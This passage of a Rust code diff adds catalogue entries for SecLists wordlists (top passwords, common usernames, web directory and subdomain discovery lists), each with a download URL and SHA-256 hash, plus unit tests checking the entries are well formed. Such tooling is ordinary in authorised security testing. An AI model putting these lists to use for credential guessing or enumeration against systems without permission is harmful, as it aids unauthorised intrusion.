sha256: "d9a018818f2357ac34c0534bdfd67826811859ae858bfd6398559085c7f4e925",
|
||||
local_name: "seclists-pwdb-top-10000.txt",
|
||||
},
|
||||
// --- Usernames ---
|
||||
WordlistSpec {
|
||||
name: "usernames-short",
|
||||
url: "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Usernames/top-usernames-shortlist.txt",
|
||||
sha256: "dc44775d12dcdb4027017623ffaa935a018944839ce4b204ccb0c6ef566db5dd",
|
||||
local_name: "seclists-usernames-shortlist.txt",
|
||||
},
|
||||
// --- Web content discovery ---
|
||||
WordlistSpec {
|
||||
name: "web-common",
|
||||
url: "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt",
|
||||
sha256: "fc320bacd30d93f5080029912b93667cd739401f81634579a7125fc0c027e6d5",
|
||||
local_name: "seclists-web-common.txt",
|
||||
},
|
||||
WordlistSpec {
|
||||
name: "web-raft-small-dirs",
|
||||
url: "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/raft-small-directories.txt",
|
||||
sha256: "06e1ac7b390c17eb9e0da416d0599c785a1541813daa95b01c676bc92d55185f",
|
||||
local_name: "seclists-raft-small-directories.txt",
|
||||
},
|
||||
// --- Subdomains (DNS) ---
|
||||
WordlistSpec {
|
||||
name: "subdomains-top5k",
|
||||
url: "https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/DNS/subdomains-top1million-5000.txt",
|
||||
sha256: "e331367c140298cb179114fdeefa78f58f696219f0dec017a28bb79487cfcf19",
|
||||
local_name: "seclists-subdomains-top5000.txt",
|
||||
},
|
||||
];
|
||||
|
||||
/// Resolve a logical wordlist name to a path on disk, downloading from the
|
||||
@@ -608,3 +650,57 @@ pub fn load_lines_uncapped<P: AsRef<Path>>(path: P) -> Result<Vec<String>> {
|
||||
.filter(|line| !line.is_empty())
|
||||
.collect())
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
use super::{catalogue, KNOWN_LISTS};
|
||||
|
||||
/// Every catalogue entry must be structurally sound: a non-empty logical
|
||||
/// name + local filename, an HTTPS raw URL, and a syntactically valid
|
||||
/// SHA-256 (64 lowercase hex chars). This does NOT hit the network — it
|
||||
/// guards against typos/placeholders that would make `resolve()` reject
|
||||
/// every download for that entry.
|
||||
#[test]
|
||||
fn known_lists_are_well_formed() {
|
||||
for spec in KNOWN_LISTS {
|
||||
assert!(!spec.name.is_empty(), "entry has empty name");
|
||||
assert!(
|
||||
!spec.local_name.is_empty(),
|
||||
"entry '{}' has empty local_name",
|
||||
spec.name
|
||||
);
|
||||
assert!(
|
||||
spec.url.starts_with("https://"),
|
||||
"entry '{}' url is not https: {}",
|
||||
spec.name,
|
||||
spec.url
|
||||
);
|
||||
assert_eq!(
|
||||
spec.sha256.len(),
|
||||
64,
|
||||
"entry '{}' sha256 is not 64 chars: {}",
|
||||
spec.name,
|
||||
spec.sha256
|
||||
);
|
||||
assert!(
|
||||
spec.sha256
|
||||
.chars()
|
||||
.all(|c| c.is_ascii_digit() || matches!(c, 'a'..='f')),
|
||||
"entry '{}' sha256 has non lowercase-hex chars: {}",
|
||||
spec.name,
|
||||
spec.sha256
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// Logical names are the public lookup key, so they must be unique.
|
||||
#[test]
|
||||
fn known_list_names_are_unique() {
|
||||
let names = catalogue();
|
||||
for (i, a) in names.iter().enumerate() {
|
||||
for b in names.iter().skip(i + 1) {
|
||||
assert_ne!(a, b, "duplicate wordlist name in catalogue: {a}");
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
Reference in New Issue
Block a user